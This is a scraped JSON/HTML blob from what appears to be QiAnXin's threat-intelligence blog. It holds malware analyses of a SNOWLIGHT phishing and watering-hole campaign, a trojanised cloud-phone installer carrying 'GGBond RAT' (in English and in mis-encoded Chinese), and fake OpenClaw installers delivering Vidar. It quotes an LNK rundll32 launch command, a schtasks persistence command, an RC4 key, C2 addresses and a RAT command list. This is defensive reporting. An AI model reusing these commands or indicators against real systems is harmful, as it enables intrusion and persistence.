tool</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="69">The involved PDB paths are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>PDB</strong>_</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\项ç®\\æ¦å¨å\\å
åå è½½PE\\x64\\Release\\å
åå è½½PE.pdb</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\soft1\\soft\\æµè§å¨dump\\SharpWeb-main - 坿¬\\SharpWeb-main\\SharpWeb\\obj\\Debug\\SharpWeb.pdb</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="79">Spear Phishing</h4>\n<p class="line" data-line="82">Attackers launch SNOWLIGHT via LNK phishing:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Lnk</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>XXXXXXææ¯å¦é¢æºæ¿é¡¹ç®&.pdf.lnk</td>\n<td></td>\n</tr>\n<tr>\n<td>targetcmd</td>\n<td></td>\n</tr>\n<tr>\n<td>C:\\Windows\\System32\\rundll32.exe" url.dll,FileProtocolHandler ".\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\a.exe</td>\n<td></td>\n</tr>\n</tbody>\n</table>
105\n<p class="line" data-line="91">They then memory-load the open-source project SharpHunter to collect information from the compromised maintenance terminal:</p>\n<p class="line img-box text-center" data-line="93"><img src="/uploads/2026/05/12/eeecdfaaef028fb11fb0f811c68c1841.png" alt="" width="70%"></p>\n<p class="line" data-line="95">And create a scheduled task for SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>schtasks /create /tn "å¥å®ä¿¡å¤©æå®å
¨æµè§å¨æå¡" /tr "\\"C:\\Program Files\\å¥å®ä¿¡å¤©æå®å
¨æµè§å¨\\TQSecurityExplorer.exe\\"" /sc onstart /ru</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="104">Supply Chain Watering Hole / Fake Watering Hole</h4>\n<p class="line" data-line="106">In addition to the IM official website supply chain disclosed in this report, the group also fakes private IM official websites, an activity potentially related to the gambling business.</p>\n<p class="line img-box text-center" data-line="108"><img src="/uploads/2026/05/12/51e604eaf7a872d0510220950efc5274.png" alt="" width="70%"></p>\n<p class="line" data-line="110">Taking the Trojan deployed in this supply chain incident as an example, polymorphism.exe reads config.dat after execution and decrypts and executes it in memory. Analysis reveals it to be a 4KB shellcode-form SNOWLIGHT.</p>\n<p class="line img-box text-center" data-line="112"><img src="/uploads/2026/05/12/b7e204b0f23ed0aad08f18eed35c552d.png" alt="" width="70%"></p>\n<p class="line" data-line="114">It connects to 18.179.119.184:80 to download subsequent payloads.</p>\n<p class="line img-box text-center" data-line="116"><img src="/uploads/2026/05/12/be9b175eeafcdfa88dcd716f4635e74a.png" alt="" width="70%"></p>\n<p class="line" data-line="118">The final payload is a modified nps tunnel. The configuration file is as follows:</p>\n<p class="line img-box text-center" data-line="120"><img src="/uploads/2026/05/12/9f7dd0cbf9a235747c12ae09036427e5.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="124">Linux Platform Incidents</h3>\n<p class="line" data-line="126">On the Linux platform, attackers target AI-type servers, using brute-forcing and vulnerabilities as entry points to launch reverse shells, then download bash-type SNOWLIGHT scripts.</p>\n<p class="line img-box text-center" data-line="128"><img src="/uploads/2026/05/12/fe10ce0149017ed1d2af119ce1e5f8df.png" alt="" width="70%"></p>\n<p class="line" data-line="130">They download ELF-type SNOWLIGHT, ultimately memory-loading a modified nps tunnel.</p>\n<p class="line img-box text-center" data-line="132"><img src="/uploads/2026/05/12/0178ed1aabd1393e897465b714f69c2e.png" alt="" width="70%"><img src="/uploads/2026/05/12/1b4e59783bb090db38c003528cd7ffbd.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="136">Summary</h2>\n<p class="line" data-line="138">Currently, based on threat intelligence data from Qianxin Threat Intelligence Center, all product linesâincluding the Qianxin Threat Intelligence Platform (TIP), Tianqing, SkyEye Advanced Threat Detection System, Qianxin NGSOC, and Qianxin Situation Awarenessâhave supported precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="140"><img src="/uploads/2026/05/12/9abf8969a60565cd8746097ca2924636.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="144">IOC</h2>\n<p class="line" data-line="146"><strong>FileHash-MD5:</strong></p>\n<p class="line" data-line="148">df3bd55c46adbf13ae68b5a9b1da19a0</p>\n<p class="line" data-line="150">f7e32bac29d48021903a62e3c64ca84b</p>\n<p class="line" data-line="152">45fec0b0e4c8b99a9719a9f153272494</p>\n<p class="line" data-line="154">6c0b5793bf6074de94c13c23225573bd</p>\n<p class="line" data-line="156">b7b85cd03240cc51038adb027702ee22</p>\n<p class="line" data-line="158">3720be773080e5ba3a366c90ba7513b8</p>\n<p class="line" data-line="160"><strong>C2:</strong></p>\n<p class="line" data-line="162">18.179.119.184:80</p>\n<br>\n<h2 class="line" data-line="166">References</h2>\n<p class="line" data-line="168">[1] https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect</p>\n<p class="line" data-line="170">[2] https://mp.weixin.qq.com/s/qQw1DXE25Gkz_P8pEPVaHg</p>\n<p class="line" data-line="172">[3] https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-en"},{_id:dt,title:It,category:s,readableId:"supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"Through the private intelligence production process of the RedDrip Team at QiAnXin Threat Intelligence Center, it was discovered that the official website installer of a domestic cloud phone and virtual mobile service provider was suspected of being replaced between February 2026 and the end of March 2026. The service has now returned to normal, and the incident resulted in a large number of government and enterprise endpoints being compromised.\n",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p,bp],publish_time:"2026-04-14T03:02:55.000Z",content:'<h2 class="line" data-line="0">Impact Scope</h2>\n<p class="line" data-line="2">The RedDrip Team of QiAnXin Threat Intelligence Center discovered through private intelligence production processes that the official website installer of a domestic cloud phone/virtual mobile service provider was suspected to be replaced during the peri
105od from February to late March 2026, and has currently returned to normal. This incident resulted in a large number of government and enterprise endpoints being compromised. The residual download records at that time are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps://www.andrXXXXXX.com/Â (Official Website)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>hxxps://cos-clXXX-fXXe-data.phone.XXXXXX.com/Packages/PC/XXXXXXXXXRelease.exe (Official URL Path)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>5627c24dd7661df4d4c8617a9a68c8bf</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">The malicious installer runs a multi-layer Trojan loader outside of the normal installation process. Based on the specific data strings in the final payload, we have named the Trojan "GGBond Rat". The C2 domain is hosted on Cloudflare CDN and appears in the OpenDNS Top 1M list.</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/04/14/3b276b830474c39e6ea9603d7f2a14fe.png" alt="" width="70%"></p>\n<p class="line" data-line="15">Based on PDNS data, we have analyzed the victim industry distribution of the C2 domain, involving education, information technology, government agencies, construction, finance, energy, and other sectors. It is speculated that the attackers obtained control of cloud phones through the supply chain attack, and then further used them as jump hosts or batch-controlled cloud phones for purposes such as "traffic fraud", "account nurturing", "coupon abuse", or publishing sensitive information.</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/04/14/49e895f89cc27e83bf0fcad870ee1632.png" alt="" width="70%"></p>\n<p class="line" data-line="19">QiAnXin Tianqing (Endpoint Security) can already accurately detect and remove the GGBond trojan.</p>\n<p class="line img-box text-center" data-line="21"><img src="/uploads/2026/04/14/addcec9e76da0c5e1d8ab135bf4801dc.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="25">Attack Vector</h2>\n<p class="line" data-line="27">The replaced installer is a self-extracting archive, which after unpacking contains the normal installer (Release) and a malicious Dropper (Update):</p>\n<p class="line img-box text-center" data-line="29"><img src="/uploads/2026/04/14/7816bc12338bccf5602f63504f9fc0db.png" alt="" width="70%"></p>\n<p class="line" data-line="31">Update.exe first creates a folder with a random ID in the C:\\ProgramData directory.</p>\n<p class="line img-box text-center" data-line="33"><img src="/uploads/2026/04/14/de2f5b2e17913a43641eeeb240628bb2.png" alt="" width="70%"></p>\n<p class="line" data-line="35">And releases a DLL and BMP file in this folder.</p>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/04/14/56bba5e025030b1eac0c343d3f54625b.png" alt="" width="70%"></p>\n<p class="line" data-line="39">Finally creates a process to load the DLL.</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/04/14/a38c69fea1dabbd0dd7e19fc110cf5dc.png" alt="" width="70%"></p>\n<p class="line" data-line="43">The released DLL is a loader. Its exported function ProcessFile is used to decrypt and load 2385f470.bmp in memory. When opened normally, this file appears as a noise image, but internally contains shellcode.</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/04/14/dc20df2ce5f3e42c58a9745d0713f38e.png" alt="" width="70%"></p>\n<p class="line" data-line="47">The shellcode is still a loader, used to load the final Trojan payload in memory. The Trojan first creates the mutex Global\\MerMgrUploadingLockEx.</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/04/14/250f4a9136dbfa0cff2c730002a98f51.png" alt="" width="70%"></p>\n<p class="line" data-line="51">Collects device information.</p>\n<p class="line img-box text-center" data-line="53"><img src="/uploads/2026/04/14/b1eecbca85680a66e55cda5e43c2c98a.png" alt="" width="70%"></p>\n<p class="line" data-line="55">Initializes and parses C2 information through deserialization.</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/04/14/cb7a1c7d9c225e313c7cf8e718d95c2c.png" alt="" width="70%"></p>\n<p class="line" data-line="59">Encrypts the collected information and encodes it in Base64, then fills it into the E-GGBond-Id field.</p>\n<p class="line img-box text-center" data-line="61"><img src="/uploads/2026/04/14/c2ccb6d00728c03b245e2acf5bfeb6a1.png" alt="" width="70%"></p>\n<p class="line" data-line="63">Connects to C2, sends requests, and maintains persistent communication.</p>\n<p class="line img-box text-center" data-line="65"><img src="/uploads/2026/04/14/9694f795af794cb0216e56855c566ba7.png" alt="" width="70%"></p>\n<p class="line" data-line="67">Decrypts the corresponding instruction codes via RC4. The fixed key is as follows: FA 36 56 CD 80 A4 2F 09 97 9E B1 26 BC 62 45 BD.</p>\n<p class="line img-box text-center" data-line="69"><img src="/uploads/2026/04/14/896ea7bc5f104800e760dd470dce3b90.png" alt="" width="70%"></p>\n<p class="line" data-line="71">The corresponding remote control functions of the Trojan are as follows:</p>\n<ul>\n<li>0x3E: TCP connect to specified address</li>\n<li>0x3F: UDP connect to specified address</li>\n<li>0x40: Send UDP packet (send)</li>\n<li>0x41: Send UDP packet (sendto)</li>\n<li>0x42: Clear connected address</li>\n<li>0x43: Connection initialization</li>\n<li>0x64: Read file</li>\n<li>0x65: Copy file</li>\n<li>0x66: Get drive information</li>\n<li>0x67: Set and get current directory</li>\n<li>0x68: Get path and size of specified file</li>\n<li>0x69: Load payload</li>\n<li>0x6A: Delete file and named pipe</li>\n<li>0x6D: TCP or pipe connection</li>\n<li>0x6E: Find file</li>\n<li>0x6F: Move file</li>\n<li>0x70: Create directory</li>\n<li>0x71: Modify C2 connection status</li>\n<li>0x72: Collect process information</li>\n<li>0x73: Terminate specified process</li>\n<li>0x74: Create new process</li>\n<li>0x75: Get current directory</li>\n<li>0x76: Delete specified files and directories</li>\n<li>
1050x77: Create and write file</li>\n<li>0x7C: Clean up network connections</li>\n</ul>\n<br>\n<h2 class="line" data-line="101">Summary</h2>\n<p class="line" data-line="103">Currently, based on threat intelligence data from QiAnXin Threat Intelligence Center, all product lines including QiAnXin Threat Intelligence Platform (TIP), Tianqing , Tianyan Advanced Threat Detection System, QiAnXin NGSOC, and QiAnXin Situation Awareness have supported precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="105"><img src="/uploads/2026/04/14/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="109">IOC</h2>\n<p class="line" data-line="111"><strong>Md5</strong></p>\n<p class="line" data-line="113">5627c24dd7661df4d4c8617a9a68c8bf</p>\n<p class="line" data-line="115">7eb1a6495269e8faf6b0faecd5dfcf58</p>\n<p class="line" data-line="117"><strong>C2</strong></p>\n<p class="line" data-line="119">whapp.linkgt.cc</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-en"},{_id:xi,title:lt,category:s,readableId:"supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éç§ææ
æ¥ç产æµç¨åç°å½å
ä¸å®¶æä¾äºææºãèæææºçæå¡åå®ç½å®è£
å
çä¼¼äº2026å¹´2æ-3æåºæé´è¢«æ¿æ¢ï¼ç®åå·²ç»æ¢å¤æ£å¸¸ï¼è¯¥äºä»¶é æå¤§éæ¿ä¼ç»ç«¯è¢«æ§ã",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:["ä¾åºé¾æ»å»","SUPPLY CHAIN",bp],publish_time:"2026-04-14T02:48:39.000Z",content:'<h2 class="line" data-line="0">å½±åé¢</h2>\n<p class="line" data-line="2">å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éç§ææ
æ¥ç产æµç¨åç°å½å
ä¸å®¶æä¾äºææºãèæææºçæå¡åå®ç½å®è£
å
çä¼¼äº2026å¹´2æ-3æåºæé´è¢«æ¿æ¢ï¼ç®åå·²ç»æ¢å¤æ£å¸¸ã该äºä»¶é æå¤§éæ¿ä¼ç»ç«¯è¢«æ§ï¼å½æ¶æ®ççä¸è½½è®°å½å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>åæ®µåç§° (Field)</strong></td>\n<td><strong>详ç»ä¿¡æ¯ (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps://www.andrXXXXXX.com/ (宿¹ç½ç«)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>hxxps://cos-clXXX-fXXe-data.phone.XXXXXX.com/Packages/PC/XXXXXXXXXRelease.exe(宿¹URLè·¯å¾)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>5627c24dd7661df4d4c8617a9a68c8bf</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">æ¶æçå®è£
å
ä¼å¨æ£å¸¸çå®è£
æµç¨å¤è¿è¡å¤å±æ¨é©¬å è½½å¨ï¼åºäºæç»payloadä¸çç¹æ°æ®åç¬¦ä¸²ï¼æä»¬å°ç¹é©¬å½å为GGBond Ratï¼C2ååæå¨cloudflare cdnä¸ï¼å¹¶ä¸ä½äºopendns Top 1Må表ä¸ã</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/04/14/3b276b830474c39e6ea9603d7f2a14fe.png" alt="" width="70%"></p>\n<p class="line" data-line="15">åºäºPdnsæ°æ®ï¼æä»¬ç»è®¡äºC2ååçå害è¡ä¸åå¸ï¼æ¶åæè²ãä¿¡æ¯ææ¯ãæ¿åºåä½ã建çãéèãè½æºçé¢åãæ¨æµæ»å»è
éè¿ä¾åºé¾æ»å»è·åäºææºæ§å¶æï¼ä»èè¿ä¸æ¥å°å
¶å½ä½è·³æ¿ææ¹éæ§å¶äºææºè¿è¡"å·é"ã"å
»å·"ã"è
ç¾æ¯"æå叿æä¿¡æ¯çç®çã</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/04/14/49e895f89cc27e83bf0fcad870ee1632.png" alt="" width="70%"></p>\n<p class="line" data-line="19">ç®åå¥å®ä¿¡å¤©æå·²ç»è½å¤å¯¹è¯¥GGBondæ¨é©¬è¿è¡ç²¾åæ¥æï¼</p>\n<p class="text-center line img-box text-center" data-line="21"><img src="/uploads/2026/04/14/addcec9e76da0c5e1d8ab135bf4801dc.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="25">æ»å»é¢</h2>\n<p class="line" data-line="27">è¢«æ¿æ¢çå®è£
å
为èªè§£åæä»¶ï¼è§£å
åå
嫿£å¸¸çå®è£
å
(Release) åä¸ä¸ª æ¶æçDropper(Update)ï¼</p>\n<p class="line img-box text-center" data-line="29"><img src="/uploads/2026/04/14/7816bc12338bccf5602f63504f9fc0db.png" alt="" width="70%"></p>\n<p class="line" data-line="31">Update.exeé¦å
å¨ C:\\ProgramData æä»¶å¤¹ä¸å建ä¸ä¸ªéæº ID çæä»¶å¤¹ã</p>\n<p class="line img-box text-center" data-line="33"><img src="/uploads/2026/04/14/de2f5b2e17913a43641eeeb240628bb2.png" alt="" width="70%"></p>\n<p class="line" data-line="35">å¹¶å¨è¯¥æä»¶å¤¹ä¸éæ¾ä¸ä¸ª dll å bmp æä»¶ã</p>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/04/14/56bba5e025030b1eac0c343d3f54625b.png" alt="" width="70%"></p>\n<p class="line" data-line="39">æåå建è¿ç¨å è½½ dllã</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/04/14/a38c69fea1dabbd0dd7e19fc110cf5dc.png" alt="" width="70%"></p>\n<p class="line" data-line="43">éæ¾ç dll å
嫿¯ä¸ªå è½½å¨ï¼å
¶å¯¼åºå½æ° ProcessFile ç¨äºå¨å
åä¸è§£å¯å¹¶å è½½ 2385f470.bmpï¼è¯¥æä»¶æ£å¸¸æå¼æ¶æ¯ä¸å¼ åªç¹å¾çï¼å
é¨å
å« shellcodeã</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/04/14/dc20df2ce5f3e42c58a9745d0713f38e.png" alt="" width="70%"></p>\n<p class="line" data-line="47">shellcode ä»ç¶æ¯å è½½å¨ï¼ç¨äºå¨å
åä¸å è½½æç»è½½è·æ¨é©¬ï¼æ¨é©¬é¦å
å建 Global\\MerMgrUploadingLockEx äºæ¥ä½ã</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/04/14/250f4a9136dbfa0cff2c730002a98f51.png" alt="" width="70%"></p>\n<p class="line" data-line="51">æ¶é设å¤ä¿¡æ¯ã</p>\n<p class="line img-box text-center" data-line="53"><img src="/uploads/2026/04/14/b1eecbca85680a66e55cda5e43c2c98a.png" alt="" width="70%"></p>\n<p class="line" data-line="55">åå§åå¹¶éè¿ååºååè§£æ C2 ä¿¡æ¯ã</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/04/14/cb7a1c7d9c225e313c7cf8e718d95c2c.png" alt="" width="70%"></p>\n<p class="line" data-line="59">å°æ¶éå°çä¿¡æ¯å å¯åè¿è¡ Base64ï¼å¡«å
å° E-GGBond-Id åæ®µã</p>\n<p class="line img-box text-center" data-line="61"><img src="/uploads/2026/04/14/c2ccb6d00728c03b245e2acf5bfeb6a1.png" alt="" width="70%"></p>\n<p class="line" data-line="63">è¿æ¥ C2 ååé请æ±ï¼å¹¶ä¿ææç»åè¿ã</p>\n<p class="line img-box text-center" data-line="65"><img src="/uploads/2026/04/14/9694f795af794cb0216e56855c566ba7.png" alt="" width="70%"></p>\n<p class="line" data-line="67">éè¿RC4è§£å¯å¯¹åºçæä»¤ç ï¼åºå®çkeyå¦ä¸ï¼FA 36 56 CD 80 A4 2F 09 97 9E B1 26 BC 62 45 BDã</p>\n<p class="line img-box text-center" data-line="69"><img src="/uploads/2026/04/14/896ea7bc5f104800e760dd470dce3b90.png" alt="" width="70%"></p>\n<p class="line" data-line="71">æ¨é©¬å¯¹åºè¿æ§åè½å¦ä¸ï¼</p>\n<ul>\n<li>0x3Eï¼TCP è¿æ¥æå®çå°å</li>\n<li>0x3Fï¼UDP è¿æ¥æå®çå°å</li>\n<li>0x40ï¼åé UDP æ°æ®å
(send)</li>\n<li>0x41ï¼åé UDP æ°æ®å
(sendto)</li>\n<li>0x42ï¼æ¸
é¤å·²è¿æ¥çå°å</li>\n<li>0x43ï¼è¿æ¥åå§å</li>\n<li>0x64ï¼è¯»åæä»¶</li>\n<li>0x65ï¼å¤å¶æä»¶</li>\n<li>0x66ï¼è·å驱å¨å¨ä¿¡æ¯</li>\n<li>0x67ï¼è®¾ç½®å¹¶è·åå½åç®å½</li>\n<li>0x68ï¼è·åæå®æä»¶çè·¯å¾å大å°</li>\n<li>0x69ï¼å è½½payload</li>\n<li>0x6Aï¼å 餿件åå½å管é</li>\n<li>0x6Dï¼TCPæç®¡éè¿æ¥</li>\n<li>0x6Eï¼æ¥æ¾æä»¶</li>\n<li>0x6Fï¼ç§»å¨æä»¶</li>\n<li>0x70ï¼å建ç®å½</li>\n<li>0x71ï¼ä¿®æ¹C2è¿æ¥ç¶æ</li>\n<li>0x72ï¼æ¶éè¿ç¨ä¿¡æ¯</li>\n<li>0x73ï¼ç»æ¢æå®è¿ç¨</li>\n<li>0x74ï¼å建æ°è¿ç¨</li>\n<li>0x75ï¼è·åå½åç®å½</li>\n<li>0x76ï¼å 餿å®çæä»¶åç®å½</li>\n<li>0x77ï¼å建并åå
¥æä»¶</li>\n<li>0x7Cï¼æ¸
çç½ç»è¿æ¥</li>\n</ul>\n<br>\n<h2 class="line" data-line="101">æ»ç»</h2>\n<p class="line" data-line="103">ç®åï¼åºäºå¥å®ä¿¡å¨èæ
æ¥ä¸å¿çå¨èæ
æ¥æ°æ®çå
¨çº¿äº§åï¼å
æ¬å¥å®ä¿¡å¨èæ
æ¥å¹³å°ï¼TIPï¼ã天æã天ç¼é«çº§å¨èæ£æµç³»ç»ãå¥å®ä¿¡NGSOCãå¥å®ä¿¡æå¿æç¥çï¼é½å·²ç»æ¯æå¯¹æ¤ç±»æ»å»çç²¾ç¡®æ£æµã</p>\n<p class="line img-box text-center" data-line="105"><img src="/uploads/2026/04/14/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="109">IOC</h2>\n<p class="line" data-line="111"><strong>Md5</strong></p>\n<p class="line" data-line="113">5627c24dd7661df4d4c8617a9a68c8bf</p>\n<p class="line" data-line="115">7eb1a6495269e8faf6b0faecd5dfcf58</p>\n<p class="line" data-line="117"><strong>C2</strong></p>\n<p class="line" data-line="119">whapp.linkgt.cc</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn"},{_id:ep,title:Yr,category:f,readableId:"the-openclaw-you-grab-on-github-could-be-toxic-en",isPdfArticle:a,isAdvisorArticle:a,abstract:'As the recent "lobster farming" craze sweeps across the internet, the RedDrip Team of QiAnXin Threat Intelligence Center has detected numerous counterfeit OpenClaw installation sites distributing malware via our private intelligence system. Among the common trojans observed, we identified an "outlier"âcarrying Russian debug strings and delivering an unprecedented malicious software. Due to its debug strings, we have named it "Anti-bot".',author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[fp,hp],publish_time:"2026-03-11T03:41:55.000Z",content:'<h3 class="line" data-line="0">
105Background</h3>\n<p class="line" data-line="2">As the recent "lobster farming" craze sweeps across the internet, the RedDrip Team of QiAnXin Threat Intelligence Center has detected numerous counterfeit OpenClaw installation sites distributing malware via our private intelligence system. Among the common trojans observed, we identified an "outlier"âcarrying Russian debug strings and delivering an unprecedented malicious software. Due to its debug strings, we have named it <strong>"Anti-bot"</strong>.</p>\n<p class="line" data-line="4">Subsequent traceability analysis revealed that the initial intrusion vector of this attack was mentioned in recent security reports by foreign vendors<sup>[1]</sup>. However, during on-site investigations at government and enterprise customers, we discovered that the subsequent payloads and C2 infrastructure in this incident differ significantly from those described in the aforementioned reports. This indicates that the attackers are actively adjusting their malicious payloads to evade traditional detection mechanisms.</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/03/11/122503686f41cb68aa5b86259aa8e1d5.png" alt="" width="70%"></p>\n<p class="line" data-line="8">All trojan components involved in this incident can be detected by the QiAnXin Tianqing antivirus database:</p>\n<p class="line img-box text-center" data-line="10"><img src="/uploads/2026/03/11/6a8c3e8764d3e9c9ada2735c92043933.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="14">Sample Analysis</h3>\n<p class="line" data-line="16">The attacker forged an OpenClaw installation package and uploaded it to GitHub pages for phishing. The installation package has been uploaded to VirusTotal:</p>\n<p class="line img-box text-center" data-line="18"><img src="/uploads/2026/03/11/ead4f692b76c930abd672bae032c1a6b.png" alt="" width="70%"></p>\n<p class="line" data-line="20">After the victim executes the sample, it creates a new thread to perform malicious activities. First, it checks whether the current environment is a virtual machine and exits if detected:</p>\n<p class="line img-box text-center" data-line="22"><img src="/uploads/2026/03/11/e4b9b6c963dc867c801bb4809e7de703.png" alt="" width="70%"></p>\n<p class="line" data-line="24">It then collects device information, including usernames and egress IP addresses:</p>\n<p class="line img-box text-center" data-line="26"><img src="/uploads/2026/03/11/02aa52e453257d2f358b0a44ab541002.png" alt="" width="70%"></p>\n<p class="line" data-line="28">Next, it accesses the text hosting site <strong>snippet.host</strong>, where the attacker has configured download links for subsequent components:</p>\n<p class="line img-box text-center" data-line="30"><img src="/uploads/2026/03/11/afa816e802003e877b98d59462a0d192.png" alt="" width="70%"></p>\n<p class="line" data-line="32">The component links accessed are as follows. The sample downloads and extracts them sequentially, with the extraction password being 8TDk2FBsKG5UN2NNc3p:</p>\n<p class="line img-box text-center" data-line="34"><img src="/uploads/2026/03/11/f86e20521e36aad25f9cb21def79da65.png" alt="" width="70%"></p>\n<p class="line" data-line="36">The extracted components are dropped into paths such as C:\\ProgramData, C:\\OneDriveTemp, C:\\Users\\Public, and C:\\Windows:</p>\n<p class="line img-box text-center" data-line="38"><img src="/uploads/2026/03/11/fdf863c36c03a8ad87e5ce625afb1579.png" alt="" width="70%"></p>\n<p class="line" data-line="40">The sample also contains embedded PowerShell scripts to set these folders as Windows Defender exclusions:</p>\n<p class="line img-box text-center" data-line="42"><img src="/uploads/2026/03/11/686204c0b91788480f2f288b62d3a466.png" alt="" width="70%"></p>\n<p class="line" data-line="44">The firewall opens three portsâ<strong>57001, 57002, and 56001</strong>âallowing inbound traffic:</p>\n<p class="line img-box text-center" data-line="46"><img src="/uploads/2026/03/11/5e736290385e66c4c4b63cca04e4ffbf.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="50">wrapper</h4>\n<p class="line" data-line="52">
105Among the downloaded components, one type is a loader. These components share a uniform PDB: wrapper.pdb.</p>\n<p class="line img-box text-center" data-line="54"><img src="/uploads/2026/03/11/8962f33c031abe959b729488e2e81ef1.png" alt="" width="70%"></p>\n<p class="line" data-line="56">Its function is to decrypt and load the payload from its own resources. During loading, it checks whether the header is <strong>ERED</strong>:</p>\n<p class="line img-box text-center" data-line="58"><img src="/uploads/2026/03/11/541f2421841c3ba70047649a19ac80ff.png" alt="" width="70%"></p>\n<p class="line" data-line="60">The attacker inserts the encrypted payload in segments into a software disclaimer as a resource. During loading, it extracts payload fragments in segments, assembles them, and then decrypts them:</p>\n<p class="line img-box text-center" data-line="62"><img src="/uploads/2026/03/11/d239e594c81b5b16bf553414aedbf8dd.png" alt="" width="70%"></p>\n<p class="line" data-line="64">The decryption algorithm is as follows:</p>\n<p class="line img-box text-center" data-line="66"><img src="/uploads/2026/03/11/52e47b278e9e0f3b76dc49b876fb7721.png" alt="" width="70%"></p>\n<p class="line" data-line="68">The loaded payload is the <strong>Vidar</strong>
105 information stealer, which retrieves C2 infrastructure by accessing https://steamcommunity.com/profiles/76561198735736086 and https://telegram.me/pr55ii:</p>\n<p class="line img-box text-center" data-line="70"><img src="/uploads/2026/03/11/f34f64b3f7f485f8b540007072f84332.png" alt="" width="70%"></p>\n<p class="line" data-line="72">As a veteran MaaS (Malware-as-a-Service)-based stealer trojan, it is used to steal browser data, passwords, cryptocurrency wallets, files, and other sensitive information.</p>\n<p class="line img-box text-center" data-line="74"><img src="/uploads/2026/03/11/8b30f01bff28fd28e59fbef41faa7a28.png" alt="" width="70%"></p>\n<br>\n<h4 class="line" data-line="78">Anti-bot</h4>\n<p class="line" data-line="80">This component contains "Anti-bot" strings in its debug information, hence the name <strong>Anti-bot</strong>:</p>\n<p class="line img-box text-center" data-line="82"><img src="/uploads/2026/03/11/d5df102278a9c08c755aa9993995d26f.png" alt="" width="70%"></p>\n<p class="line" data-line="84">The sample first performs persistence operations, copying itself to the following paths and setting up startup items and scheduled tasks:</p>\n<p class="line img-box text-center" data-line="86"><img src="/uploads/2026/03/11/8df02d2d785bb7008fc03581f933f19e.png" alt="" width="70%"></p>\n<p class="line" data-line="88">It then retrieves payload execution information from hosting sites 